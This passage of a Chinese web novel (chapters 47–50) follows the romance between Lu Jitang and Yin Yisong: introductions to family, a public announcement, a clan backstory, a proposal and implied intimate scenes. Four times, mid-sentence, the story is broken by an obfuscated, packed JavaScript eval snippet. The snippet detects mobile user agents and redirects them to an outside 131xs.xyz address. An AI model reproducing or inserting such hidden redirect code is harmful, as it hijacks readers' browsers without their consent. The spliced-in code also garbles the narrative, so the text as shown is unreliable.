殷倚松神色几乎没有什么变化,他仔细地理着路既棠额间的发丝,柔声说道:“阿棠,你不该激我的。” 路既棠累得说不出话。 殷倚松抱着路既棠,轻声说道:“今天真像做梦一样,就算是梦,我也心满意足了。” “不是梦。”路既棠牵起殷倚松的手,说道:“走吧,我们一起去看看春天。” 傍晚时分,他们返程,路既棠在殷倚松的车上睡着了。 路既棠睁眼时,正好看到夜色中灰暗的车里、殷倚松看着他的一双眼睛。 路既棠的眼镜在睡着前已经被殷倚松取下来了。 路既棠伸手揉了揉眼睛,还是困。 “已经到楼下了。”殷倚松说道。 “一起上去吧。” 门一打开,年年就走了过来,前爪扒上路既棠的裤腿,用头使劲蹭了一下。 路既棠一笑,他蹲下来摸了摸年年的头,“年年难得出来迎接我。” 年年蹭完后,用圆滚滚的眼睛看着殷倚松,它停了一会,像是在思考,紧接着,它对着殷倚松做了同样的动作。 殷倚松不明所以,但还是像路既棠那样,伸手摸了摸年年的头。 路既棠解释道:“这是见面礼,年年扒裤腿蹭我们,代表欢迎我们回来,摸它的头是我们和它打招呼回礼的意思。” “年年很喜欢你,”路既棠说道,“除了我和白鹤生,它从来不会主动蹭人,也不会让人摸。” 殷倚松听完后,若有所思。 年年蹭完人后,自顾自地又溜达走了,它走到猫爬架旁,动作轻巧地跳上去,趴下来舔毛。 “你喝茶还是咖啡?”路既棠走到吧台后,问殷倚松。 “你喝什么我就喝什么。”殷倚松说道。 路既棠拿着两杯茉莉花茶出来,递了其中一杯给坐在沙发上的殷倚松。 真奇怪,白天他们才亲了,现在共处一室,居然还会觉得尴尬。 路既棠坐在离殷倚松最远的一处沙发上。 殷倚松喝了一口茶,掩饰性地咳了一声,往日里的从容不迫在这一刻消失得无影无踪。 两个人都没说话,只是目光交缠。 一时间,气氛越来越尴尬,也越来越暧昧。 年年像是也察觉到了不对劲,它叫了一声,从猫爬架上跳下来,走到路既棠旁边,用爪垫轻轻拍了一下路既棠的手背。 路既棠如梦方醒。 他错开看向殷倚松的视线,低头把年年抱了起来。 殷倚松也收回了一直看着路既棠的目光,他拢着手咳了一声,“天色不早了,我先回去了,你也早点休息吧。” 路既棠顺势点头。 他将殷倚松送到门口,在殷倚松临去时,他叫住了殷倚松,说道:“明天是周日,我带你见见白鹤生好不好?” “白鹤生是我哥哥,有些事,总要说清楚的,我们在一起的事,我想让他知道。” 殷倚松看着路既棠,轻声说道:“好,我听你的。” 这天晚上,路既棠一夜好眠。 第二天,路既棠和白鹤生是在巷子深处的一家茶室见面的。 路既棠和殷倚松到时,席云启正站在栏杆旁修剪一盘粉白色的玫瑰花,白鹤生侧身倚着栏杆,手中拿着一个雪青色的花瓶,一副怠懒的样子。 看到殷倚松,白鹤生先是不屑地“呵”了一声,才对路既棠和声说道:“来了。” 席云启放下手中的花,将路既棠二人引入席后,低声和白鹤生说了两句话,白鹤生于是不情不愿地坐下了。 路既棠先开口了,他先安抚了白鹤生,再言明白鹤生在自己心里很重要,最后才委婉地说道:“他是我认定的人,这次就算了,下次见面,你不能再这样了。” 白鹤生听完后,气得手抖,他拿起桌上了茶水一饮而尽,才说道:“这才刚刚开始,你就这么护短了。” 他低声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396671|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我就知道,迟早会有这一天的。”语气竟然落魄极了。 路既棠又连忙想去哄他,却被殷倚松拦住了,殷倚松握住了路既棠的手指,眼睛微眯,冷声说道:“他有人哄,不用你哄。” 当年白鹤生就是这样,抢走了路既棠的所有注意力,今天,他必不可能再让白鹤生如愿。 果不其然,下一刻,席云启就去哄人了。 最后,他们四人难得心平气和地吃了一顿饭。 临走时,白鹤生对着殷倚松放狠话:“我们小棠这么讨人喜欢,最后却还是看上了你这个玩意,你要是敢对他不好,我一定不会放过你。” 殷倚松牵着路既棠的手,闻言,他回过身来,郑重地说道:“你放心,我会好好待他,不会让他受委屈。” 从巷子深处出来后,在路过一处电影院时,车上的路既棠说道:“时间还早,不如我们一起去看一场电影吧。” 殷倚松欣然应允。 他们站在电影院的大屏幕前,路既棠看了看滚动的字幕,随手点了一部最上面的电影,“我们看这个吧。” 他们选的那个场次人并不多,路既棠抱着一桶爆米花跟着殷倚松坐在了倒数第二排中间的位置。 电影很快开场,路既棠含住吸管喝了一口殷倚松递过来的可乐,又把手中的爆米花桶递过去给殷倚松,殷倚松顺从地拿起一颗吃了,然后凑过来在路既棠的耳边轻声说道:“很甜。” 他们开始专心看电影。 这是一部悬疑片,偶尔还有血.腥.恐.怖的镜头,在又一次恐怖的镜头出现时,场中有人被吓得大叫出声,殷倚松偏头去看路既棠。 路既棠专注地看着大荧幕,安安静静的,没有一点害怕的模样。 殷倚松叹了一口气,他只好伸出手,又握住了路既棠搭在椅背上的手,路既棠还以为他是害怕了,转过来安抚性地拍了拍他的手背,之后,又转回去看电影了。 在场中此起彼伏的尖叫声中,殷倚松一口气叹得更深了。 电影散场后,殷倚松问路既棠电影怎么样。 路既棠想了想,说道:“很多细节都穿帮了,从一开始,凶手作案就不应该用自己常用的左手,这个特点太突出了,审问几个嫌疑人时,只需要观察一下他们左右手的动作特征,就能轻而易举地找出真正的凶手了,这很不悬疑。” 殷倚松沉默了一会,问道:“你不觉得有一幕很恐怖吗?”他详细地描述那幕恐怖的画面给路既棠听。 路既棠听完后,沉吟了一会,说道:“如果那一幕用散射光,拍出来的效果会更好……” 话音落地,他像是意识到了什么,他眼睛弯起来,问殷倚松,“你是不是希望我说我害怕,需要你抱着我。” 殷倚松咳了一声。 路既棠笑着说道:“不用我说害怕,你也可以抱我。” 说着,他上前一步,抱住了殷倚松。 路既棠的目光坦坦荡荡,他把头枕在殷倚松的肩上,轻声说道:“高中时,我怎么没发现,你这么有意思。” 48. 第 48 章 路既棠说完后,像是想起什么似的,他说道:“好像还没有发朋友圈官宣。” 殷倚松先是一怔,再是失笑,“你才是真正有意思的那个人。”从前怎么没有觉得,阿棠是一个这么有执行力的人。 “要怎么官宣?”殷倚松耐心地问道。 路既棠举起和殷倚松十指相扣的手,两个人的手指都很修长,骨节分明,握在一起十分赏心悦目,路既棠说:“介意借一下你的手吗?” 殷倚松笑,“不介意。” 路既棠于是拿出手机拍了一张他们的牵手照。 春夜里凉风习习,如水的月光照在远处的高楼大厦上,照在路旁的三角梅上,照在他们身上,照在他们相握着的手上。 路既棠问:“还用什么样的文案呢?” 殷倚松抬头看了看月光,又看了看眼前的人,轻声说道:“十年前的月亮,终于落到了我的手心里。” 路既棠讶然抬头,旋即一笑。他说:“好。” 他将这句话放进文案里,又配上了牵手照,发了朋友圈。 很快,几乎就是下一秒的事情。 有人给他发消息:“6,是谁,是谁,快说是谁,我倒要看看是哪个人让我们法学院男神暗恋十年才追到手!”还在加班审合同的康谚反应迅速,一连给他私发了十几条信息。 “哇!没想到这么快,祝师兄幸福!”南谦抑也紧跟着说道。 “好家伙,什么鬼,哇靠,是不是殷倚松?”网线的另一边,冯晓曼一扫桌前写着密密麻麻数字和字母的演算纸,精神抖擞地追问道。 路既棠回她:“是。” 很快,刚刚结束一场社交,站在阳台上吹风的贺姝给路既棠发信息,“真是有生之年,活得久了什么事都能看见,”贺姝说道,“当年我真以为你们要老死不相往来了,没想到这么多年过去了,你们居然还能勾搭在一起,老天啊,真是精彩,祝999。” “祝999999999,拍婚纱照记得叫我,给你们打五折。”正坐在西北沙丘上赏月亮的薛晓希也跟着发。 “祝福,哪天带你对象来律所逛逛,我给你们发份子钱。”还在出差途中的贺惊筠也说道。 同样在出差的戚九羿只沉默地给路既棠的朋友圈点了个赞。 刑知非笑嘻嘻地说道:“恭喜咯恭喜咯,咱们律所第一个脱单的大律师,有了第一个,第二个还会远吗?” 正坐在家里对着某人尴尬得想躲出去的山月遥回复刑知非,“你该当仁不让,争取立刻脱单。”说完她又回复路既棠,“恭喜啊,祝你们幸福。” 还在国外的杨秋染:“?这么突然,不告诉我,嫂子是谁?”又连着发了一条,“算了,我自己杀回国去看!”很快,她像是看到了路既棠回冯晓曼的话,又发,“我的老天鹅啊,这这这……” 祝汝:“有幸见证你的幸福,祝你们一生圆满。” 席云启说道:“祝百年好合。” 很快,白鹤生也发:“祝百年好合。”路既棠一看,白鹤生根本不会发这样的话,所以应该是席云启拿了白鹤生的手机,替白鹤生发的。 一整个晚上,信息都没停过。 路既棠在笑。 殷倚松看着这个人,神色柔和得不像话。 在车里,殷倚松沉默了一会,说道:“这些年,我都有去看过你,有时候,我一直跟着你,上次你问我,我还没来得及说一声抱歉。” “你会不会觉得我处心积虑?”殷倚松紧张地看着路既棠,在等路既棠的宣判。 “如果是以前,我或许真的会这样觉得,还会想方设法地远离你。”路既棠说道。 殷倚松沉默地用手攥紧了方向盘。 路既棠很快继续说道:“但现在不是了,因为我爱你,我能理解你,如果我是你,或许我也会这样做。” 他握住殷倚松攥着方向盘的手,“抱歉,我让你等了这么多年。” 下一刻,殷倚松突然将他拥入怀中,“不用道歉,如果不是我的家人,你也不会痛苦这么多年。” “奶奶让我学会接受命运的无常,你和你的父母不一样,以前我觉得我恨你,后来我才知道,爱恨本身就是一体双面的。”路既棠说道,“我发现,我还是爱你。” 闻言,殷倚松的手指都在细细颤抖,他摸过路既棠的眉眼,将路既棠抱着更紧了,他说:“阿棠,谢谢你。” 谢谢你还愿意爱我。 殷倚松把路既棠带回了家,和多年前殷倚松父母家不一样,现在殷倚松也在市中心买了一套房子,江水从小区外经过,能看到升腾起来的蒙蒙雾气。 和路既棠家里简洁明亮的装修风格不同,这里的摆设古色古香,带着一种古典的气息。 殷倚松说道:“我成年时,爷爷把东西传给了我,之后,我就从我父母家搬出来了,住到了这里,楼上一直留着你的房间。” 路既棠问道:“你们家,到底是怎么回事?” “我家中世代行医,我爷爷是上一代医家的传人,我父亲是他的亲生儿子,我爷爷很快就发现,我父亲心术不正,于是不再把一些重要的医术传给他,如果心术不正,有些东西学了就是害人害己。” 殷倚松讲述道,“我父亲不甘心,求我爷爷给了他一些本钱,要证明给我爷爷看,我爷爷确实也让族中的势力扶持他了,可是我父亲许多事情都做得太赶尽杀绝,可能是心性在利益场上浸染太久,很快他连针都握不稳了,我爷爷彻底失望,转而选了族中的一位堂叔。” “那位堂叔性子静,天赋极高,对做一些濯洗药草的琐碎事情也极有耐心,才十四岁就将一套极其晦涩的针法学得明了透彻,那套针法是家中不传之秘,只有下一代的家主才能学,可哪怕是学,也很难学会。” “百年来,他是族中天赋最高的人,中医不止要会医实病,更要会治虚病,虚病的致病原因往浅里说,是五行之气,往深里说,是鬼邪,要治虚病,首先要有护身的本事,所以家中但凡学医的人都要习武,学武既能护体又能护人。” “堂叔才十七岁,医术和身手都已经出神入化,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396672|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提出要出去游历,爷爷答应了。”殷倚松神色渐渐冰冷,“他一路北上,治好了许多在别的医生那里都束手无策的病人的病。” “可是很快,他死在了外面,他死时,还不满十八岁。” “他是为了救一个中了邪病的人死的,但那人骗了他,从始至终,那个人就是想要他死。” “我爷爷悲痛极了,一度一蹶不振,直到我出生。”殷倚松继续说道,“我出生那天,师叔——你以后也会见到他的,他亲自登门,将一块玉佩给了还在襁褓之中的我,于是,在我很小的时候,我爷爷就开始带我认医书上的字,我也……没有让他失望。” 殷倚松沉声道:“又过了十几年,等到我学完那套针法时,我才知道,当年害死我堂叔的人,正是受我父亲指使。我父亲得不到的东西,他想方设法都要毁掉。我年幼时,有很多次都差点被他弄死,我却总是机缘巧合地活了下来,后来我父母怕我爷爷发现当年谋害堂叔的事,就打算在我成年时接下家主之位后,再设法让我消失,由我父亲接位。” “可惜他棋差一招,最后还是让我险胜了。”殷倚松淡淡一笑,“从我堂叔的事,我就知道了,要坐上这个位置,要有慈悲心肠,也要有雷霆手段。” “慈悲心肠是留给世间病患的,雷霆手段是用来保住爱的人和自己的。”他笑道,“可惜当年我羽翼未丰,护不住想护的人。” 路既棠在殷倚松平淡的叙述中,听完了那段惊心动魄的往事。 “阿棠,我说过,我不会再让任何人伤害你,你信我。”殷倚松语气坚定地说道。 “好,我信你。” 这天的最后,殷倚松将路既棠送回了家。 路既棠抱着年年将殷倚松送下来楼时,说道:“不如,下周六,你搬过来和我一起住吧。” 殷倚松一震,不可置信地看他。 路既棠说:“怎么了,不行吗?” 殷倚松回身,他笑着摸着路既棠的脸,像是喜欢得不知道怎么办才好,“你这样……我本来还打算死皮赖脸地求你让我留下来……好,我搬过来。” 时间很快到了下周六。 殷倚松搬了过来,他打扫时,路既棠说道:“客卧是白鹤生住的,你住主卧吧,和我一起。” 听到前一句话时,殷倚松眯了一下眼睛,像是有些不悦,听到后一句话时,他眼中的不悦顿时消失了。 他眉梢扬起,愉悦地点头答应了,收拾完后,他和路既棠商量,“以后能不能少让白鹤生过来。” 闻言,路既棠笑着亲了他一下,“看情况。”说完他就要走。 却被殷倚松攥住手腕拉了回来,路既棠跌到了殷倚松身上,被殷倚松扶着后颈,深深吻住了。 晚些时候,他们下楼,到附近的超市买日用品,殷倚松刚搬过来,有许多日用品都要添置。 他们结完账推着车走出来时,在一处无人的拐角处,被两个面容寡淡的黑衣男人拦住,其中一人上前一步,抱拳说道:“殷先生,少主重伤,阁主请您马上去一趟。” 49. 第 49 章 “辞青受伤了?”殷倚松听完后蹙起了眉。 路既棠闻言就要回避,“你和他们去吧,我拿着东西先回去。” 殷倚松却握住了路既棠的手,“你和我一起去吧。” 路既棠到时,一眼就看到了坐在枯瘦红梅后的常玄。 常玄一身青衫,玉骨横秋,侧头望过来,像诗词里的萧肃风秀的古人。他看到了殷倚松,颔首道:“来了。” 随后,他看到了站在殷倚松身侧的路既棠,在讶异了一瞬后,他站起身来,向他们走了过来。 他细细地看了路既棠一眼,赞道:“长松间当有清风明月耳,你们二人,倒是生得十分相配。” 殷倚松分别向他们二人介绍对方。 几句话后,殷倚松说道:“师叔,带我去见见辞青。” 之前他们进来已经走过了四面游廊,常玄现在带他们穿过花厅,往东边的院落去,路既棠跟着他们踏进了一个四面皆是是明窗、用两道屏风将室内隔作里外三层的卧室。 一个少年躺在楠木雕花床上,面色青灰,昏迷不醒。 正是莫非。 路既棠有些惊讶。 殷倚松却已经落座,三根手指搭上了莫非右手手腕。 几分钟后,殷倚松神色肃穆,他对常玄说道:“十分棘手,要用隐针了。” “劳烦师叔帮我照看一下阿棠。”殷倚松说完后,拿出了他随身带着的一套银针。 常玄叫住他,“隐针十三式,你才学到第七式,有把握吗?” “够用了。”殷倚松笃定地说道。 常玄不再多言,带着路既棠就出了内室。 他们在外室的屏风前落座,常玄叫人为路既棠看茶。 不知为何,只是一道屏风,就将人声悉数隔绝,殷倚松在里面诊病,路既棠坐在外面,居然听不到一点声音。 常玄放下茶盏,说道:“先前我听阿殷说,他把自己的那块桃木牌给了你。” 路既棠点头。 常玄手上拿着莫非的那块桃木牌,只不过他手上的那块木牌已经从中间裂成两半,只剩一片焦黑,常玄看了一眼手中的木牌说道:“如果不是它替阿青挡了一道灾,阿青恐怕已经回不来了。” 他抬头看路既棠,“十年前阿殷继任医家传人时,我问他将自己的木牌给了谁,他说给了你,这么重要的东西给了出去,那时候,他就已经认定你了。” 路既棠闻言倏然抬头,神色震惊。 “那时候,他被他父母磋磨太过,性子一度十分偏激,”常玄继续说道,“幸好,他的路并未走偏,医家的传人不是好当的,没有对医术的执着和对世人的悲悯,他就拿不起针,也接不住这份权柄。” “之前阿青向我提起过你,他说你的名字有些耳熟,却想不起来在哪听过,”常玄说,“阿殷继任时,将你的名字刻在了清静阁的石壁上,与他的名字并列,那时候阿青才九岁,没想到这么多年过去,阿青竟也遇到了你。” 路既棠听完后,神色复杂。 “你可知道清静阁和殷家的渊源?”常玄问。 路既棠摇头。 “清静阁中弟子修习山医命相卜五术,信的是道法自然。”常玄漫不经心地拨弄着茶盏中的浮沫,说道:“天地不仁,以万物为刍狗。天道之下,众生皆为蝼蚁。从前,我派中人一向避世修行,只修自己的道,从不多管闲事,自然也不管世人死活。” “五百年前,修习医道的一位弟子,也就是殷家的先祖游历归来,有感于世间疾苦,认为阁中信念与医家济世救人的理念相悖,于是向阁主自请将其逐出清静阁。”常玄缓缓说道。 “那任阁主惜才,不愿医道一脉就此断绝,于是与殷家先祖立下盟约,往后两门仍以师门相称,只是殷家先祖不必再守清静阁的规矩。”常玄说,“从那之后,世代如此。” 路既棠听得有些慨叹。 常玄微微笑道,“只是这世间什么时候太平过,这世间人,救不过来,也不是所有人都值得救,医家还是太理想了些。”他点到即止,对这个话题不再多说。 话音刚落,像是听到了什么声音似的,常玄突然起身,绕过屏风进去。 与此同时,莫非咳了一声,睁开了眼。 殷倚松一甩袖,一根银针飞掠而出,将一团黑色的雾气钉在墙上,一呼吸间,那团雾气悄无声息地消散了。 下一刻,只见躺在床上的莫非偏头咳出了几口黑血。 常玄疾走过去,却在走到莫非床前站住了,他左手背在身后,冷声说道:“莫辞青,我说过什么,我让你不要涉险,我给你足够的自由了,你却对自己的性命毫不在意,既然如此,我罚你养好伤后禁足三个月,这段时间里,哪里都不许去。” 他面上一片淡定,内里简直要气到七窍生烟。 许多事,常玄不想管,莫非却热血上头非要管。常玄觉得,年轻人都有些锄强扶弱的英雄主义情怀,他也由着莫非去,等年轻人受了挫折伤了心后,就会明白人各有命,自己渡不了众生。 直到现在莫非重伤,常玄震怒。 “师叔,”莫非一边咳血,一边委屈地说道,“我才刚醒你就要骂我。” 莫非一闭眼一睁眼,一滴眼泪就熟练地挤出来了,他也不管殷倚松还在场,就向常玄撒娇道:“师叔,我好疼啊。” 常玄简直无言以对,他在床边坐下,替莫非梳理气息,叹了口气,无奈地说道:“哪里疼?” “哪里都疼。” 临走之前,常玄将一件涂金博山炉作为见面礼,送给了路既棠,说道:“阿青很喜欢你,他托我跟你说一句,他养好伤后,希望你能带着年年过来看看他。” 路既棠道谢之后,说好。 晚上,殷倚松做饭,路既棠就站在他旁边切菠萝,菠萝用盐水腌过,吃起来非常爽口。 殷倚松在看汤的成色,他对路既棠说道:“别吃太多,等会还要吃饭。” 路既棠听完后,果然停了手,不再吃了。 “你怎么这么听话啊?”殷倚松放下手中的汤勺,擦了手,笑着过来吻他。 路既棠张开了口,殷倚松顺势吻了进去。菠萝的清香在他们的口腔间弥漫。 殷倚松浅尝辄止,很快松开了路既棠,他说:“今晚试试我做的淮山石斛排骨汤,以前你喜欢喝淡的,现在还喜欢吗?” “现在喜欢喝咸一点的。”路既棠说道,这么多年,他有些口味变了,但还是一直都很喜欢喝汤。 很快,他们坐在餐桌前吃饭,路既棠每一道菜都试过之后,说道:“你好像很清楚我的口味。” “如果不清楚你的口味,我怎么能比得过白鹤生。”殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396673|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倚松给路既棠夹了一筷子茄子,说道。 路既棠失笑,“我早说过了,你和他不一样,不用和他比。” 殷倚松摸了摸路既棠的脸,“以前不知道这句话是什么意思,现在我知道了,如果十年前我就明白,也不至于偏激这么久了。” 吃完饭,路既棠洗完澡换上了睡衣,他去了一趟书房查完资料出来后,发现殷倚松已经把卧室的床铺好了,同色的两个枕头靠在一起。 殷倚松吹干了头发,他站在路既棠身后,就这样把人抱住,俯身下去,脸轻轻蹭着路既棠修长的脖颈。 路既棠被殷倚松的头发丝撩得发麻,他拿开殷倚松抱住他的手,转过身去,两人的睡衣一模一样,光滑柔软。 路既棠搂着殷倚松的脖子,抬头又亲了上去。 殷倚松握着他的腰,急不可耐地含住了路既棠红润的嘴唇,他的舌头舔过路既棠的唇齿,往更深的地方探去。 恍然有一瞬间,路既棠觉得一种酥麻感从全身蔓延而过,最后到达心脏。 结束时,路既棠几乎上气不接下气。 殷倚松扶着他坐下,于是两个人坐在灯光温暖的卧室,一齐透过落地窗看窗外的夜景。 殷倚松像是舍不得放开他,让路既棠靠在自己身上,他沉默了很久,说道:“我总觉得,等这一刻,我等了很多年。” “睡吧,阿棠。” 关了灯,躺在床上后,起初,路既棠平躺着,和殷倚松隔得很远。 路既棠开始想事情,他想来想去,已经到了凌晨一点,他暗自叹了口气,幸好第二天是周日,不用上班,失眠也没关系。 他想着,翻了个身面对着殷倚松,却发现殷倚松也没睡着。 殷倚松像是就在等这一刻,他低低地笑了一声,伸手抓住路既棠的手腕,一把将人捞了过来,揉进自己的怀里。 路既棠的脸颊被殷倚松亲了两下,又被殷倚松抱着,觉得身上温暖极了,柔软的床铺和被子里,两人手脚.交缠,就这样渐渐入睡。 第二天傍晚,两人一起出去散步,这样走着走着,就渐渐来到了南中附近。 周日傍晚,南中的学生返校。穿着蓝白校服的高中生青春得不像话,恍惚间,似乎看到了多年前的自己。 黄楼、小花园、湖心亭、操场和教室…… 花一年一年开,校道旁的树一年年长,校园里,教室的灯亮起,琅琅的读书声一年年响起。 不知道又是哪两个少年走在校园的月色中,希冀着怎样的未来。 校内景物依旧,只是换了一拨又一拨人。 只有真正走出了学生时代的人,才会在这样的情境里恍惚,原来光阴如刀啊,一刀就斩断了自己与少年时的自己那相连的感受。 身处青春中的人,和能够对青春拥有深刻感受的人,始终不是同一批人。 看着南中的教学楼,殷倚松却说道:“八年前的秋天,枫叶红了,你和几个大学同学去登山,我跟在你身后,在漫天的红叶里,我看着你渐渐远去的背影,心想,有没有可能在未来的某一天里,我们能牵手漫步于昏黄落日的深秋。” 他心想,常玄说路既棠会得偿所愿,其实,夙愿得偿的人,是他才对。 上天到底还是眷顾了他。 十年后,他终于能将那个夏夜的月亮拥入怀里了。 50. 第 50 章 他们离开南中,慢慢地走进了南中附近的一条夜市街里。 周日晚上,夜市很热闹,长长的一条街上,摆着各种各样的东西,有吃的有玩的。 水果摊主正在熟练地给芒果切块,给菠萝削皮撒上辣椒末,一边忙活一边说道:“都不白来啊,都是两块五一斤。” 有摆摊卖黑凉粉和各种糖水的,有卖炸串的,有卖小蛋糕和各类寿司的,离得远一点的火锅店和餐吧也在开门迎客。 老年人背着手悠闲散步,中年父母领着孩子,孩子们手上拿着棉花糖和玩具,年轻的情侣们手牵手地走着。 再远一些,还能看到穿着写真服要拍簪花和战国袍写真的小姑娘。 和其他同类型的城市比起来,这座城市生活节奏不快,夜生活很热闹,闹市里的烟火气很重,适合一部分怕冷又爱热闹的人定居。 这么多年辗转,路既棠最终还是回到了这里。 这里有他的家人、朋友,还有殷倚松这个爱人。 时间慢慢地走,在长长久久的时间里—— 他们在凌晨出发,去登翠凉山顶看云海的日出。 他们在清晨去花鸟市场,在清脆的鸟叫声中,买下一束又一束鲜花。 他们在厨房里研究菜谱,消磨过上午的时间。 他们花了一下午时间,重新走了一遍十年前走过的路。 最后,他们去江边看了春天的落日。 阳历六月,濯枝雨后,鲜红的荔枝上还沾着滚动的雨珠。 这天周五晚上,路既棠准时下班,晚饭过后,殷倚松提议出去走走。 月光下,他们走得很慢,走到一处荔枝树下,路既棠看了看缀满枝头的鲜红荔枝,荔枝叶子青翠,荔枝果饱满而富有光泽,他赞叹道:“今年的荔枝长得真好。” 他想起了什么,接着说道:“你知道吗,高三那年,我站在窗前,看到你站在荔枝树下练太极,你看向我的那一刻,目光和平时都不一样,我总觉得我一定在哪里见过这样的一双眼睛,也就是在那一刻,我意识到了,我喜欢你。” 殷倚松怔了一下,他像是也想起来了,他笑道:“原来是那个时候。” 殷倚松说道:“你还记得高二元旦晚会上的那支舞怎么跳吗?” “记得。”路既棠说道:“只是记得而已,我不会跳,我只会弹伴奏。” “没关系。”殷倚松伸出手,笑着对路既棠说道,“我教你。” 路既棠握住了殷倚松的手,殷倚松笑着带着他旋转、前进、后退,牵着他手绕过他的头顶。 月色里,高大的荔枝树下,两人对影成双。 在一次旋转中,殷倚松放开了他的手。 路既棠不明所以,他转过身去看。 在下一刻,他看到殷倚松在他面前单膝下跪。 那一刻,路既棠很想像其他人那样,伸手捂住嘴尖叫,但无数次在大场合中镇定自若的经历,让他在这种场合中无法叫出来,他只是震惊得下意识后退半步。 殷倚松这是在求婚。 如水月色下,殷倚松在一树荔枝树前单膝跪地,他修长的指尖拿着一个戒指,神色温柔地看着路既棠,认真地说道:“我愿意把我拥有的一切,都和你共享,我想和你度过很长很好的一生。” “阿棠,你愿意和我结婚吗?” “我愿意。” 殷倚松往日里能稳稳拿住细如发丝银针的手,此刻却正在颤抖,他小心翼翼地将戒指戴入了路既棠左手的无名指。 戒指严丝合缝地扣住了路既棠的无名指根。 路既棠把殷倚松拉起来,殷倚松紧紧地将他抱住。 他是有多好的运气,才能在这辈子遇到这个人。 路既棠带殷倚松去了郊外的墓园,他的爷爷奶奶和爸爸妈妈都沉睡在那里。 在扫墓过后,他将花放下,对着墓碑轻声说道,“我很想你们,我带他来见你们了。” 站在他身旁的殷倚松鞠了三个躬后,说道:“我会好好对阿棠,请你们放心。” 今年夏末,路既棠的生日到了,殷倚松下厨,白鹤生带着席云启过来给路既棠庆生。渐渐的,白鹤生也接受了殷倚松和路既棠在一起。 这天晚上,在一张餐桌前,他们四个人格外平和地吃完了一顿饭。饭后,殷倚松捧来了精心定做的蛋糕,白鹤生关了灯,点上蜡烛让路既棠许愿。 路既棠闭着眼睛,真的依言许了愿。 睡前,殷倚松又亲他。 今夜,殷倚松亲得格外狠,他说道:“我看到你把我买的东西收到抽屉里了。” 路既棠双颊飞上朱砂似的红,他试图用回吻截住对方的话头。 殷倚松开始折腾路既棠。 他想,这个人要被填实才好。 “今晚我不想忍了,阿棠。”殷倚松低头看着路既棠,目光灼灼。 路既棠艰难地回应,他抬眼看着眼前人,语气里含着一点挑衅的意味,说道:“那你还在等什么?” 殷倚松的手停了一下,下一刻他很轻地笑了一下,说道:“好”。 这个夜晚,路既棠格外难耐。 幸好这两天是节假日,不用上班。 第二天,路既棠坐在床边,险些坐不稳,他气得踢了殷倚松一脚。 殷倚松眼角眉梢都是满足,他面色从容地挨了路既棠一脚,也没说什么,只是扶着路既棠,喂了路既棠一碗粥,等路既棠喝完了。 他问路既棠,还有力气吗? 路既棠迅速摇头。 殷倚松动作强硬地抓住了路既棠。 他把人带去了书房。 一整天里,在家里的很多处地方—— 他们避开年年,重新尝试很多很多遍。 殷倚松格外喜欢书房的那张矮榻。 路既棠的手落在了枕头上,一节手腕在动作间如雪白的玉落进了红尘里。 最后,路既棠将头枕在殷倚松的肩窝,睡着了。 殷倚松抚摸着路既棠绯红的脸,漆黑的发丝,上挑的眉眼。 在看到路既棠红如木棉花瓣的唇时,殷倚松又俯身狠狠地亲了一下。 等到路既棠终于缓过神来时,已经是第二天傍晚了。 殷倚松给路既棠喂了一碗汤,说道:“还好没伤着。” 路既棠就着殷倚松的手一边喝汤一边瞪他。 殷倚松却笑,“你知道吗,你一瞪我,我就更想蹂.躏你了。” 他靠近路既棠,轻声说:“其实十年前,你跟我吵架时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396674|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪我,我就想把你抓过来,关进我的密室里,让你一边瞪我……一边吃我的东西。” 路既棠被殷倚松的阴暗震惊到了。 殷倚松却带着笑意轻轻抚摸着路既棠的脸,“放心,那只是想想,我怎么舍得。” 往后的日子宁谧而平淡。 客厅里铺着羊绒地毯,路既棠就坐在坐垫上,打开手提电脑处理工作,殷倚松坐在沙发上,翻一本医书。两人都不说话,只是做着自己的事情。 殷倚松偶尔会给路既棠喂水果,路既棠眼睛还看着电脑屏幕,却顺从地张开了嘴,咬住了殷倚松递过来的青提。 年年躺在路既棠脚边,睡得嘴唇一翘一翘,像是做了什么好梦。 